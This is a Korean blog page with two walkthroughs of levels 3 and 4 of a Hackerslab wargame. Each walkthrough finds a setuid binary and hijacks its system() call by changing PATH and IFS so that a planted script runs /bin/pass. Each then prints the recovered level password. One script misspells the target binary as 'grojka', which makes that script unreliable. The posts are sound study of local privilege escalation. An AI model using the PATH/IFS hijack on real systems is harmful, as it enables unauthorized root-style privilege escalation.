'level'에 해당되는 글 2건

  1. 2004/04/19 level 5 획득 ...
  2. 2004/04/19 level 4 획득 ...

현재레벨: level4


문제:

리눅스에 들어 있는 게임을 종종 즐기곤 하는 김모씨는 하도 심심하여 게임의 소스 파일에 특정 코드를 삽입하여 다시 컴파일 하였다. 김모씨가 왜 그랬는지 이해하는 사람은 아무도 없다. 아무튼 여러분은 김모씨의 어리석은 행위를 이해할 필요는 없고, 이를 이용하여 다음 레벨을 획득하면 된다.
Hint - 어줍잖은 김모씨는 단 한 줄만 소스에 추가했다고 한다.


현재 레벨4이고 레벨5의 패스워드를 알아야한다.


$ find / -user level5 -group level4 -perm -4000 -exec ls -l {} \; 2> /dev/null

-rwsr-x---    1 level5   level4      30422 Jan 10  2003 /usr/games/trojka


/usr/games/trojka 파일에 setuid가 걸려있다.

실행시켜보자.


$ /usr/games/trojka


썰렁한 테트리스 게임이 시작된다.

게임이 끝나고 몇가지 입력을 받는데 쉘상에서의 프롬프트 같은건 눈을씻고 찾아봐도 없다.


문제를 보면, 김모씨가 게임의 소스를 변경시켜 다시 컴파일 했다고 했다.

바이너리 파일명이 trojka이니 소스파일은 trojka.c 가 아닐까? 찾아보자...


$ find / -name trojka.c 2> /dev/null

$


없다..

그럼 소스파일에 어떠한 변경을 가해서 level5의 권한을 가질 수는 없다.

문제를 다시보면... 힌트에 김모씨는 단지 한줄만의 소스를 추가했다고 한다.

그 한줄이 어떠한 소스인지는 모르지만 김모씨가 어리석은 사람(?)임을 감안하면 분명 보안상에 취약하게 소스에 exec나 system 함수를 사용했을 것이다.


게임을 다시한번 실행시켜보면...


처음 실행시키면 그냥 빈 공백만 생긴다.

거기서 아무 키나 누르면 게임스피드를 선택할 수있는 입력을 받는 부분이 있고 게임이 시작된다.

중요한건 처음 실행시 바로 게임스피드를 선택할 수있는 부분이 나오는게 아니고 공백이 나온다는 것이다.

유닉스에서 쉘의 화면을 깨끗하게 정리하는 명령어가 있다.

/usr/bin/clear


아마 김모씨는 /usr/bin/clear 명령어를 코드에 집어넣고 다른 키 입력을 받은 후에야 다음 단계로 넘어갈 수있게 소스를 바꾸고 컴파일 한거 같다.

만약 /usr/bin/clear 을 코드에 집어 넣었다면 문제는 의외로 간단하게 해결된다.

level4를 뚫을때 사용했던 방법이다.


먼저 clear의 경로를 확인하자

$ ls -l /usr/bin/clear


참고로 해커스랩 프리해킹존에서 which 명령의 실행권을 일반유저에겐 주어져 있지않다.

각자 요령껏 clear의 경로를 확인하면 되겠다.


쉘스크립트를 만들어보자.


$ cat > proc

#!/bin/sh

export PATH=.:$PATH

export IFS='/'

/usr/games/grojka

^D


실행시 usr bin clear 을 실행시키기 때문에 usr 스크립트를 만들어둔다.


$ cat > usr

#!/bin/sh

/bin/pass

^D


$ sh ./proc


다행스럽게 level5의 패스워드가 나왔다.

김모씨는 /usr/bin/clear 명령어를 소스코드에 집어 넣었던 것이다.


level5 password : Slient night,holy night!

현재레벨: level3


문제:

항상 약속을 자주 잊어 버리는 서모씨는 번번히 주위로부터 원망을 산다. 서모씨는 고심하던 중 자신이 매일 아침 리눅스 서버에 로긴한다는 사실을 알고는 매번 로긴할 때마다 오늘의 날짜를 알려주면 편리하겠다는 사실을 알았다. 그래서 date 컴맨드를 이용하여 오늘의 날짜만 YYYY-MM-DD 형식으로 간단히 출력해주는 프로그램을 씨언어를 이용해서 프로그래밍을 하고는 누가 볼까 두려워 특정 디렉토리에 꽁꽁 숨겨 두었다.
이를 찾아서 다음 레벨을 진입하시오.

level4에 setuid에 걸린 파일을 찾아본다.


$ find / -user level4 -group level3 -perm -4000 -exec ls -l {} \; 2> /dev/null

-rws--x---    1 level4   level3      13781 Oct 26  2002 /usr/man/pt_BR/man8/today


/usr/man/pt_BR/man8/today 라는 파일에 setuid가 걸려있다.

실행시켜보면...


$ /usr/man/pt_BR/man8/today

04/18/04


오늘 날짜가 출력된다.

문제에서 서씨는 date 커맨드를 사용해서 만들었다고 했다.

그럼 /usr/man/pt_BR/man8/today 바이너리의 소스파일엔 /bin/date 를 실행시키는 부분이 들어있을 것이다.


현재 레벨은 3이고 레벨 4의 권한을 가진상태에서 /bin/pass를 리턴해야 레벨4의 암호를 알 수있는데 ../today 를 실행시키면 실행시킨 다음 프롬프트로 되돌아 오기때문에 그럴 여유가 없다.


문제를 해결하기위해선 일단 /usr/man/pt_BR/man8/today 파일에 조작을 가해야 한다.

이를 쉘프로그램으로 돌려보자.


$ cat > proc

#!/bin/sh

export PATH=.:$PATH

export IFS='/'

/usr/man/pt_BR/man8/today

^D


PATH변수에 현재 디렉토리가 맨먼저 검색되도록 추가를 했다.

두번째, IFS(Internal Field Seperator) 변수의 값을 / 로 바꾸고 그 이하 프로세스에도 적용되도록 전역변수화 시켰다.

IFS값은 쉘 내부에서 커맨드나 인수를 구분하게하는 구분자이다. 이것에 변칙적으로 변경해서 쉘을 조작하기 위함이다.

마지막으로 /usr/man/pt_BR/man8/today 바이너리를 실행시킨다.


$ sh ./proc

sh: bin: command not found


bin 이란 명령어를 해당 path에서 찾을 수없다는 메세지가 나온다.

그 이유는 간단하다.

앞서 서씨는 /bin/date 명령어를 사용해서 바이너리를 만들었다.

즉, /usr/man/pt_BR/man8/today를 실행시키면 실제적으론 /bin/date가 실행된다.

내부구분자를 / 로 바꾸었기때문에 실제로 실행되는것은  bin date 가 되는 것이다.

그리고 각각 bin 과 date 를 실행시키려고 하는데 bin 이란 바이너리(또는 쉘스크립트)가 path에 존재하지 않기 때문에 나오는 메세지인것이다.

그럼 bin 이란 스크립트를 만들면 된다.


$ cat > bin

#!/bin/sh

/bin/pass

^D

$ chmod 700 bin


이제 실행 시켜보면 원하는 답이 나올것이다.


level4 password : AreUReady?